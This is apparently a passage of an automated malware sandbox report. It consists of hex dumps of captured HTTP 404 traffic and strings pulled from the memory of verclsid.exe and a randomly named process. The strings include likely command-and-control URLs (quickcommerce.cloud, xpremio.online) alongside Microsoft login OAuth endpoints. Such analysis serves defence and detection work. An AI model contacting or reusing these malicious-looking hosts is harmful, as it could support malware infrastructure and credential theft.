da d0 a9 82 27 c7 6d 42 db bd bf 7c 7c 19 84 69 58 85 56 7c 5f da 56 ec 3e a1 5f bf 93 aa c2 2a 76 bf 11 08 31 50 b2 6a 30 c9 ea d4 79 84 9f 3b 9f 45 59 56 a7 d8 1d f4 72 7b 11 97 5d 96 2f 7c f4 a2 de 67 ce 69 f0 f7 cb d4 fe b3 6f 1e 90 ce bd 67 25 61 7c 7a 18 d0 05 d8 f6 cb 40 74 e3 c6 ad 42 db fa 32 28 ad b4 bc 2f dd 22 f4 fe f2 e3 b2 32 3c bb 0f 03 94 c8 bb f7 83 71 98 ba f7 81 1b fa 41 05 86 bf 12 18 45 8e 50 02 1b bf 9f b5 b7 ec c8 2f fa 33 00 15 c5 59 f1 30 f8 67 ef d2 de 4f 7b 1d c3 26 38 86 23 ef c7 72 cb 71 c2 d4 7f 18 dc f4 27 56 e1 87 e9 bb ee ff fc ce 7e e9 da 55 98 a5 5f c0 d1 b3 ca 2d 6e e4 e1 84 65 1e 5b 40 16 fb 38 b3 a3 ff 83 ed be f6 f8 b3 80 44 6e 77 7a 66 f2 3e 76 3d 20 25 ab ae b2 f7 9b bd 0c 17 cf 52 fc 71 fc ed ec 03 14 b9 d6 c0 db 49 bf 02 44 e6 59 5a ba f7 61 ea 65 37 07 7d 95 2b 7b 69 6f 7b 5f 2d 2f 2b ab aa 4b a0 1d c7 bd 59 7c 41 cd b3 fa 49 04 f9 97 3f 5a 5d b8 56 99 a5 9f af c7 c8 eb f5 3d 24 3f 53 c1 15 67 17 99 da d5 e5 5c 5f be 6b 16 9c b7 df eb be 77 14 37 1b be 9e 16 b9 b4 0f f9 ed b1 d4 03 03 18 de 07 e2 ba 42 6b e1 e6 ae 05 74 06 dc c8 f3 cf 37 72 3d fb 57 33 5f 77 c5 c6 38 4d d0 ef a7 bd 8e 4d 2e ed 6d ec ea 94 b7 1c 59 9f 1c ea d7 49 dc 87 95 9b 94 37 64 be 23 09 03 38 fa c1 94 c2 f4 cd 94 c7 f8 27 40 bb d6 c7 0d f5 17 1c ef b3 aa ca 92 87 41 bf c7 db 61 7b 79 5d 61 09 1d 5e 0f 5e 49 e2 1d fd 5b 31 f4 ea be 77 5c 3b 2b ac 5e 7f 0f 03 e0 52 dc a2 77 42 ef 37 7a 95 38 f0 47 0c 7b a5 8d 4f f7 79 08 b2 c6 2d ae f0 f5 9e 8d 07 2f b3 eb f2 f3 61 0b f8 99 e6 d6 72 5e 99 c0 e8 21 31 1e be 31 78 c5 c4 e7 28 7e f5 6b 1f 29 ea 17 c4 58 c7 37 ba f9 6e 69 61 7a f1 d9 1f f8 bc 38 2c ab fb 4b 58 e9 01 9f ba 83 ac ae ca 10 38 84 fe e3 8d fd 5e 91 af dc dd 38 e3 ef f0 ba ea 7f 3b 2d e0 29 0e 6f d8 f2 e2 ac b7 af de 33 be df e1 a2 69 2b 0e 7d a0 64 1b dc 10 dc e2 6d fc 8d e4 d7 1b bb 79 01 fd 47 3b 5d 02 2e 88 51 9f f9 b0 de 11 dc 87 89 e5 df aa f1 fb a1 3e f5 bd 97 a5 fd 2d 07 04 a8 db f3 f5 31 b7 7d 89 8f fb 2c 76 de 4e d1 cb f1 fa 94 3f ca a0 cd 0a e7 7e 0f 30 12 81 18 d5 ff b9 b7 e2 f8 3d 81 5f 3a 15 08 ea 00 dc 03 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Tue, 14 Jan 2025 09:25:25 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a eb 92 e2 4a 72 fe 7f 9e 02 b7 c3 f6 6e 68 7a 74 07 d1 db 3d bb ba 21 09 90 90 04 02 84 c3 71 42 e8 8e ae e8 0e 1b 7e 20 bf 86 9f cc 25 ba 7b 9a 66 ba cf cc 3a fc c3 35 13 81 a4 aa ca ca ca fc 32 b3 3a b3 7e fb ed b7 c7 7f e2 16 ec ca 54 f9 41 50 25 f1 b7 df 1e 9f 7f 06 a0 3d 06 ae e5 7c fb ed f2 98 b8 95 05 46 54 f9 bd 7b ac c3 e6 e9 8e cd d2 ca 4d ab fb ea 94 bb 77 03 fb f9 ed e9 ae 72 bb 0a ee 49 fc 65 60 07 56 51 ba d5 53 5d 79 f7 d4 dd a7 74 2c 3b 70 ef fb f9 45 16 5f 11 4a b3 7b bb ef fa 74 a2 5a 58 7e 62 fd 23 33 f8 2e 0f 0b b7 bc 9a 82 bc a3 9e 5a 89 fb 74 d7 84 6e 9b 67 45 75 35 ac 0d 9d 2a 78 72 dc 26 b4 dd fb cb cb 97 41 98 86 55 68 c5 f7 a5 6d c5 ee 13 fa f5 3b a9 2a ac 62 f7 1b 81 10 03 25 ab 06 93 ac 4e 9d 47 f8 f9 e3 b3 28 cb ea 14 bb 83 5e 6e 2f e2 b2 cb f2 85 8f 5e d4 fb cc 39 0d fe 7e 19 da bf f6 cd 03 d2 b9 f7 ac 24 8c 4f 0f 03 ba 00 cb 7e 19 88 6e dc b8 55 68 5b 5f 06 a5 95 96 f7 a5 5b 84 de 5f 7e 9c 56 86 67 f7 61 80 12 79 f7 be 33 0e 53 f7 3e 70 43 3f a8 40 f7 57 02 a3 c8 11 4a 60 e3 f7 a3 f6 96 1d f9 45 bf 07 a0 a2 38 2b 1e 06 ff ec 5d da fb 61 af 7d d8 04 c7 70 e4 7d 5f 6e 39 4e 98 fa 0f 83 9b ef 89 55 f8 61 fa ee f3 7f 7e 67 bf 74 ed 2a cc d2 2f 60 eb 59 e5 16 37 f2 70 c2 32 8f 2d 20 8b 7d 9c d9 d1 ff c1 72 5f 7b fc 59 40 22 b7 2b 3d 33 79 1f bb 1e 90 92 55 57 d9 fb c5 5e ba 8b 67 29 fe d8 ff b6 f7 01 8a 5c 6b e0 6d a7 5f 01 22 f3 2c 2d dd fb 30 f5 b2 9b 8d be ca 95 bd b4 b7 b5 af a6 97 95 55 d5 25 d0 8e e3 de 4c be a0 e6 59 fd 24 82 fc cb 1f cd 2e 5c ab cc d2 cf e7 63 e4 f5 fc 1e 92 9f a9 e0 8a b3 8b 4c ed ea b2 af 2f df 35 0b f6 db af 75 df 3b 8a 9b 05 5f 77 8b 5c da 87 fc f6 58 ea 81 01 0c ef 03 71 5d a1 b5 70 73 d7 02 3a 03 6e e4 f9 f1 8d 5c cf fe d5 c8 d7 55 b1 31 4e 13 f4 fb 61 af 7d 93 4b 7b eb bb da e5 2d 47 d6 27 9b fa 75 12 f7 61 e5 26 e5 0d 99 ef 48 c2 00 8e 7e 30 a5 30 7d 33 e5 31 fe 09 d0 ae f5 71 43 fd 05 c7 fb ac aa b2 e4 61 d0 af f1 b6 d9 5e 5e 57 58 42 87 d7 9d 57 92 78 47 ff 56 0c bd ba ef 1d d7 ce 0a ab d7 df c3 00 b8 14 b7 e8 9d d0 fb 85 5e 25 0e fc 11 c3 5e 69 e3 d3 75 1e 82 ac 71 8b 2b 7c bd 67 e3 c1 cb ec ba fc bc db 02 7e a6 b9 b5 9c 57 26 30 7a 48 8c 87 6f 0c 5e 31 f1 39 8a 5f fd da 47 8a fa 05 31 d6 f1 8d 6e be 5b 5a 98 5e 7c f6 07 3e 2f 0e cb ea fe 12 56 7a c0 a7 ee 20 ab ab 32 04 0e a1 7f 79 63 bf 57 e4 2b 77 37 ce f8 3b bc ae be bf ed 16 f0 14 87 37 6c 79 71 d6 db 57 ef 19 df af 70 d1 b4 15 87 3e 50 b2 0d 4e 08 6e f1 d6 ff 46 f2 eb 8d dd bc 80 fe a3 95 2e 01 17 c4 a8 cf 7c 58 ef 08 ee c3 c4 f2 6f d5 f8 7d 53 9f fa de cb d4 fe 94 03 02 d4 ed fe fa 98 db be c4 c7 7d 16 3b 6f bb e8 e5 78 bd cb 1f 65 d0 66 85 73 bf 07 18 89 40 8c ea 7f ee ad 38 7e 4f e0 97 76 05 82 3a 00 f7 00 c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Tue, 14 Jan 2025 09:25:27 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 32 37 38 35 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 14 Jan 2025 09:25:55 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 14 Jan 2025 09:25:58 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 14 Jan 2025 09:26:00 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 14 Jan 2025 09:26:03 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:26:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Pt32mz4Hjf5wEYEo84%2FdHhvMrBqOd9qGOnyw2tkOof0KdwmNOSE8nVKByZycViJhT%2F82LZwvB6SZcNzltYxE6tBD0Icnv1pfWwHcmjNspDZy4qrksAN6UH9zvhU%2BsLUlWyoafdocWILSdJf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901c953158fa4309-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1683&rtt_var=841&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=727&delivery_rate=0&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:26:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FhQRVzxcARiCQFR76qX%2FN8cdbofdEwLUmRg7fc8VBQCvK441%2FvI%2FOL79ouJLyUIrDU5HIIGn0YYpAXTkEnMgs2pjpNomBCORkK4g23UaxOE1CIFlSxWB1SNTS%2Fgr7pVmqolT9nxNaJtbbe3A"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901c95414d2ede92-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1715&rtt_var=857&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=747&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:26:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FhQRVzxcARiCQFR76qX%2FN8cdbofdEwLUmRg7fc8VBQCvK441%2FvI%2FOL79ouJLyUIrDU5HIIGn0YYpAXTkEnMgs2pjpNomBCORkK4g23UaxOE1CIFlSxWB1SNTS%2Fgr7pVmqolT9nxNaJtbbe3A"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901c95414d2ede92-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1715&rtt_var=857&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=747&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:26:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FbP2NoBQfclcAsHdBnv16qAEYZDiHZ188yjA%2BJczaFFo9aSzii9rYnhH2qSVZZfPYZSrjsIcgTNLb9oUkIzq%2B3%2BAC0RzvC7koCGhtCvF1t8Z2IYjInbVRQzJXHlSSuJVN%2FH9BJe8oGaz%2BKm%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901c955129674304-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1552&min_rtt=1552&rtt_var=776&sent=5&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10829&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 09:26:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BzaA1sj8tH4vEN1ikzeHVNTgk3%2BFvNQpBorj0w%2Frdj2W7%2FKHomoVCySaB5gc9KlsJ8ilVVUNucfOwUT0vE7CQcRtnv25WQrLx3rwHQGrKeBkvI3x63jbORSdYv2e%2BAdyeIkMvQJlnEoUCs9E"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901c95612cfd1a30-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2024&rtt_var=1012&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=448&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Source: verclsid.exe, 00000003.00000002.3550509142.00000000060BC000.00000004.10000000.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3549816270.0000000003D6C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: verclsid.exe, 00000003.00000002.3550509142.0000000006A28000.00000004.10000000.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3549816270.00000000046D8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://quickcommerce.cloud/rdfj/?wz4=W22N1n9VK5BsDegKssi59d1tdmClQzQM6krhrjkO5qQUOhZ23fqPP0igRbfRb/L
Source: zalkpCfMwtnpQo.exe, 00000007.00000002.3551901085.00000000057C6000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.xpremio.online
Source: zalkpCfMwtnpQo.exe, 00000007.00000002.3551901085.00000000057C6000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.xpremio.online/8vp1/
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: verclsid.exe, 00000003.00000002.3548335775.00000000033C6000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3548335775.00000000033A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: verclsid.exe, 00000003.00000002.3548335775.00000000033C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: verclsid.exe, 00000003.00000002.3548335775.00000000033A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: verclsid.exe, 00000003.00000002.3548335775.00000000033C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: verclsid.exe, 00000003.00000002.3548335775.00000000033A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033Ia)a
Source: verclsid.exe, 00000003.00000002.3548335775.00000000033C6000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3548335775.00000000033A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: verclsid.exe, 00000003.00000002.3548335775.0000000003385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
